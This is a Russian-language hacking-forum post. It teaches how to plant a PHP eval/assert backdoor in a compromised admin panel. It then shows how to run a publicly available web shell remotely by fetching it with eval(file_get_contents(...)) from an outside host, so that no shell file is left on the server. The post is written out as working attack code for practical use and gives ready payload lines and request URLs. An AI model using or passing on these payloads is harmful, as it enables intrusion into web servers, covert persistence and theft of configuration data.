ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Не то чтобы статья, но многим, думаю, будет полезно. Итак, мы проникли в админку, мы в итоге смогли хоть куда-то впихнуть такой код, примеру:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

или просто:

assert(stripslashes($_REQUEST[lala]));

stripslashes в данном случае исключительно для обхода magic_quotes=ON

Многие чудики вставляют system($_GET['cmd']) и прочие безобразия, но это все лишнее, на самом деле все проще. Итак, вы вставили данный код куда-то (в faq.php, или у вас уже есть просто типо такой бекдор где-то в недрах скриптов сервера).

Т.е. в итоге вы к примеру добились работоспособности вот такого линка:

http://localhost/user.php?e=phpinfo();

И после этого у многих начинающих ступор. Немедленно следующий вопрос - а что же делать дальше?

А давайте повнимательнее взглянем на этот phpinfo, что нам вывело, основные два пункта, что нас будут интересовать в данной ситуации:

allow_url_fopen
allow_url_include

allow_url_include - да, жесть конечно, но, как правило, off.

Остается allow_url_fopen, а он, как правило = ON. Как же мы может использовать данную возможность, безрассудно оставленную админом, чтобы не париться особо (не искать папки, доступные на запись и тому подобную ерунду выяснять да и вообще не заливать шелл как таковой, но лазить по серваку как-будто шелл уже залит). Да очень просто. Если allow_url_fopen = ON и у вас есть код, выводящий хотя бы PHPINFO(); то считайте вы уже прочитали все конфиги, слили все что вам надо и т.д. (не путайте с "порутать", только то, что можно прочитать)

Берем последний шелл от глубокомноюуважаемого oRb в этой теме:

https://forum.antichat.net/thread103155.html - первый пост

удаляем первую строчку:

<?php # Web Shell by oRb
+
удаляем последнюю ?>
+
можно удалить пароль, шелл ведь не заливаем, просто юзаем, не оставляя

сохраняем на любой хост как bla_bla.txt (тот же narod.ru вполне подойдет) или в виде картинки на файлообменнике, предоставляющем прямые ссылки на скачку контента и делаем такой запрос:

http://localhost/user.php?a=eval(file_get_contents('http://site.ru/bla_bla.txt'));

Всё. У вас полноценный шелл без физического его залития на сервак со всеми обычными возможностями шелла. Спасибо за внимание

PS: tested on WSO2.4 (wso2_pack.php)